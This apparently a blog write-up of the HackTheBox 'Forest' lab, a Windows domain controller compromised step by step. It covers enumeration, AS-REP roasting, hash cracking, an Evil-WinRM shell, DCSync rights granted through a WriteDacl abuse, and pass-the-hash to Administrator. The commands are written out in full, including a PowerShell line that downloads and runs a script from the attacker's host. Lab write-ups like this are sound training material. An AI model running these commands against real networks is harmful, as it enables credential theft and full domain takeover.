Sitemap

HackTheBox — Forest Writeup

7 min readDec 6, 2025

--

Machine Information

  • Name: Forest
  • Difficulty: Easy
  • OS: Windows Server 2016
  • IP Address: 10.129.3.135

Enumeration Phase

Step 1: Port Scanning with Nmap

We begin with a comprehensive Nmap scan to identify open ports and running services:

sudo nmap -sCV 10.129.3.135

# output
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-04 16:39:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Critical Observations:

  1. Domain Controller: This is a DC for htb.local
  2. Kerberos (88): Opens up Kerberoasting and AS-REP Roasting attacks
  3. LDAP (389): Can query Active Directory information
  4. WinRM (5985): Remote shell access if we obtain credentials
  5. Server Version: Windows Server 2016 Standard 14393 (Build 1607)

Step 2: SMB and RPC Enumeration with enum4linux-ng

Since we see SMB and RPC services, let’s enumerate further:

enum4linux-ng 10.129.3.135 -A

# Important findings

# Domain Information
[+] Long domain name is: htb.local
NetBIOS computer name: FOREST
NetBIOS domain name: HTB
DNS domain: htb.local
FQDN: FOREST.htb.local

# Password Policy
Domain password information:
Password history length: 24
Minimum password length: 7
Minimum password age: 1 day 4 minutes
Maximum password age: not set
Password properties:
- DOMAIN_PASSWORD_COMPLEX: false

Domain lockout information:
Lockout observation window: 30 minutes
Lockout duration: 30 minutes
Lockout threshold: None

# RPC Access
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''

Critical: Anonymous RPC access is enabled! This allows unauthenticated user enumeration.

Key Takeaways:

  • ✅ No password complexity requirements — weak passwords possible
  • ✅ No account lockout policy — can spray passwords freely
  • ❌ Minimum password length is 7 characters

User Enumeration

The tool successfully enumerated 31 users via anonymous RPC:

'1145':
username: sebastien
name: Sebastien Caron

'1146':
username: lucinda
name: Lucinda Berger

'1147':
username: svc-alfresco ← Service account (high-value target!)
name: svc-alfresco
acb: '0x00010210'

'1150':
username: andy
name: Andy Hislip

'1151':
username: mark
name: Mark Brandt

'1152':
username: santi
name: Santi Rodriguez

'500':
username: Administrator
name: Administrator

Why is svc-alfresco interesting?

It’s a service account (indicated by the svc- prefix)

Service accounts often have:

  • Weak or default passwords
  • Password never expires
  • Kerberos pre-authentication disabled (for compatibility)
  • Higher privileges than normal user accounts

Step 3: Creating a Username List

Based on the enumeration, we create a file with potential usernames:

cat > users.txt << EOF
Administrator
sebastien
lucinda
svc-alfresco
andy
mark
santi
EOF

Initial Access — AS-REP Roasting Attack

AS-REP Roasting is a technique that exploits accounts that have the “Do not require Kerberos preauthentication” attribute set.

How Kerberos Authentication Normally Works:

  1. Client sends AS-REQ (Authentication Service Request) to KDC with encrypted timestamp
  2. KDC verifies the encrypted timestamp (pre-authentication)
  3. KDC responds with AS-REP containing TGT (Ticket Granting Ticket)

When Pre-authentication is Disabled:

  1. Client sends AS-REQ WITHOUT encrypted timestamp
  2. KDC responds with AS-REP encrypted with user’s password hash
  3. Attacker can request AS-REP for any user and crack offline

Why does this vulnerability exist?

  • Legacy applications/services that don’t support Kerberos pre-authentication
  • Misconfigured service accounts
  • Compatibility with older systems

Step 4: Performing AS-REP Roasting

Using Impacket’s GetNPUsers.py tool:

impacket-GetNPUsers htb.local/ -dc-ip 10.129.3.135 -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Output
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$svc-alfresco@HTB.LOCAL:eb0...00d

[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

Success! We obtained an AS-REP hash for svc-alfresco!

Get Piar’s stories in your inbox

Join Medium for free to get updates from this writer.

Understanding the Hash:

$krb5asrep$23$svc-alfresco@HTB.LOCAL:[hash_data]
  • krb5asrep: Kerberos AS-REP hash type
  • 23: Encryption type (RC4-HMAC)
  • svc-alfresco@HTB.LOCAL: Username and domain
  • Remaining data: Encrypted portion that can be cracked

Step 5: Cracking the Hash with John the Ripper

john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

# Output
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23)
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

s....e ($krb5asrep$23$svc-alfresco@HTB.LOCAL)

1g 0:00:00:03 DONE (2025-12-04 11:51) 0.2906g/s 1187Kp/s 1187Kc/s 1187KC/s
Session completed.

Gaining Initial Access

Step 6: Connecting with Evil-WinRM

With valid credentials and WinRM (port 5985) open, we can get a remote PowerShell session:

evil-winrm -i 10.129.3.135 -u svc-alfresco -p s...e

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco>

Step 7: Basic Enumeration & Flag retrieval

*Evil-WinRM* PS C:\Users\svc-alfresco> whoami
htb\svc-alfresco

*Evil-WinRM* PS C:\Users\svc-alfresco> hostname
FOREST

*Evil-WinRM* PS C:\Users\svc-alfresco> ls

Directory: C:\Users\svc-alfresco

Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 9/23/2019 2:16 PM Desktop
d-r--- 9/22/2019 4:02 PM Documents
d-r--- 7/16/2016 6:18 AM Downloads
d-r--- 7/16/2016 6:18 AM Favorites
d-r--- 7/16/2016 6:18 AM Links
d-r--- 7/16/2016 6:18 AM Music
d-r--- 7/16/2016 6:18 AM Pictures
d----- 7/16/2016 6:18 AM Saved Games
d-r--- 7/16/2016 6:18 AM Videos

*Evil-WinRM* PS C:\Users\svc-alfresco> cd Desktop

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> ls

Directory: C:\Users\svc-alfresco\Desktop

Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/4/2025 8:38 AM 34 user.txt

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt
be3...bc3

Privilege Escalation

Enumeration Phase

First, we check what groups our compromised account belongs to:

Step 1: Identify Current User Privileges

whoami /groups

Key Findings:

  • BUILTIN\\Account Operators - This is critical!
  • BUILTIN\\Remote Management Users
  • HTB\\Service Accounts
  • HTB\\Privileged IT Accounts

The Account Operators group is significant because it allows us to:

  • Create new user accounts
  • Modify non-protected user accounts
  • Add users to most groups (except protected groups like Domain Admins)

Step 2: Load PowerView for AD Enumeration

PowerView is essential for Active Directory enumeration. We load it directly into memory:

iex(new-object net.webclient).downloadstring('http://10.10.14.137:8080/PowerView.ps1')

Note: Ensure you have a Python HTTP server running on your attack machine:

python3 -m http.server 8080

Step 3: Enumerate Exchange Groups

Exchange Server installations often create powerful groups with dangerous permissions:

# Find all Exchange-related groups
Get-DomainGroup | Where-Object {$_.name -like "*Exchange*"} | Select-Object name,samaccountname

# output
name samaccountname
---- --------------
Exchange Servers Exchange Servers
Exchange Trusted Subsystem Exchange Trusted Subsystem
Exchange Windows Permissions Exchange Windows Permissions
ExchangeLegacyInterop ExchangeLegacyInterop
Exchange Install Domain Servers $D31000-NSEL5BRJ63V7

Step 4: Check Exchange Windows Permissions Group Members

Get-DomainGroupMember "Exchange Windows Permissions" | Select-Object MemberName

# output
MemberName
----------
Exchange Trusted Subsystem

Step 5: Analyze Permissions on the Domain Object

This is the crucial step — we check what permissions the “Exchange Windows Permissions” group has on the domain:

$sid = (Get-DomainGroup "Exchange Windows Permissions").objectsid
Get-DomainObjectAcl -Identity "DC=htb,DC=local" -ResolveGUIDs | ? {$_.SecurityIdentifier -eq $sid} | Select-Object ActiveDirectoryRights,ObjectDN

# key findings
ActiveDirectoryRights ObjectDN
--------------------- --------
DeleteTree, WriteDacl DC=htb,DC=local

Critical Discovery: The “Exchange Windows Permissions” group has WriteDacl permissions on the domain root object!

What is WriteDacl?

  • WriteDacl allows modifying the Discretionary Access Control List (DACL)
  • This means we can grant ourselves ANY permission on the domain
  • We can grant DCSync rights to perform a DCSync attack

Exploitation Phase

Attack Path Summary

[Account Operators Group]
↓
[Create User & Add to Exchange Windows Permissions]
↓
[Use WriteDacl to Grant DCSync Rights]
↓
[Perform DCSync Attack]
↓
[Dump Administrator Hash]
↓
[Pass-the-Hash Attack]

Step 1: Create a New User Account

Using our Account Operators privileges, we create a new user:

net user hacker2 Password123! /add /domain

# output
The command completed successfully.

Step 2: Add User to Exchange Windows Permissions Group

net group "Exchange Windows Permissions" hacker2 /add /domain
The command completed successfully.

Step 3: Verify User Creation

net user hacker2 /domain

# Confirm:
Global Group memberships *Exchange Windows Perm*Domain Users

Step 4: Grant DCSync Rights

Now comes the critical step. We need to use the WriteDacl permission to grant our user DCSync rights.

Important: We must authenticate as hacker2 (who is in the Exchange Windows Permissions group) to use the WriteDacl permission.

First, create a credential object:

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\\hacker2', $SecPassword)

Then grant DCSync rights using those credentials:

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity hacker2 -Rights DCSync -Verbose

# Output (verbose mode shows the operation)
Verbose: [Add-DomainObjectAcl] Granting principal CN=hacker2,CN=Users,DC=htb,DC=local 'DCSync' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=hacker2,CN=Users,DC=htb,DC=local rights GUID '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=hacker2,CN=Users,DC=htb,DC=local rights GUID '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=hacker2,CN=Users,DC=htb,DC=local rights GUID '89e95b76-444d-4c62-991a-0facbeda640c' on DC=htb,DC=local

What just happened?

We granted three extended rights that together enable DCSync:

  1. DS-Replication-Get-Changes (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  2. DS-Replication-Get-Changes-All (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  3. DS-Replication-Get-Changes-In-Filtered-Set (89e95b76-444d-4c62-991a-0facbeda640c)

These rights allow our user to replicate directory changes, which is exactly what domain controllers do during replication — including password hashes!

DCSync Attack

What is DCSync?

DCSync is a technique that simulates the behavior of a Domain Controller and requests password data from another Domain Controller. This allows an attacker to retrieve password hashes for any user in the domain without executing code on the Domain Controller.

Step 5: Execute DCSync with Secretsdump

From your Kali attack machine, use Impacket’s secretsdump.py:

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py htb.local/hacker2:'Password123!'@10.129.3.135

# Output
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\\Administrator:500:aad3b435b51404eeaad3b435b51404ee:326...ea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d...9c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819...2f8:::
htb.local\\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:924...668:::
[... additional users ...]

Success! We’ve dumped all domain password hashes, including the Administrator hash.

Administrator Hash: 3269...ea6

Gaining Administrator Access

Step 6: Pass-the-Hash Attack

With the Administrator NTLM hash, we can authenticate without knowing the actual password:

evil-winrm -i 10.129.3.135 -u Administrator -H 326...ea6

Step 7: Retrieve the Root Flag

*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> cat root.txt
d67...e68

Happy hacking!

This write-up is for educational purposes only. Always hack in legal and authorized environments.

--

--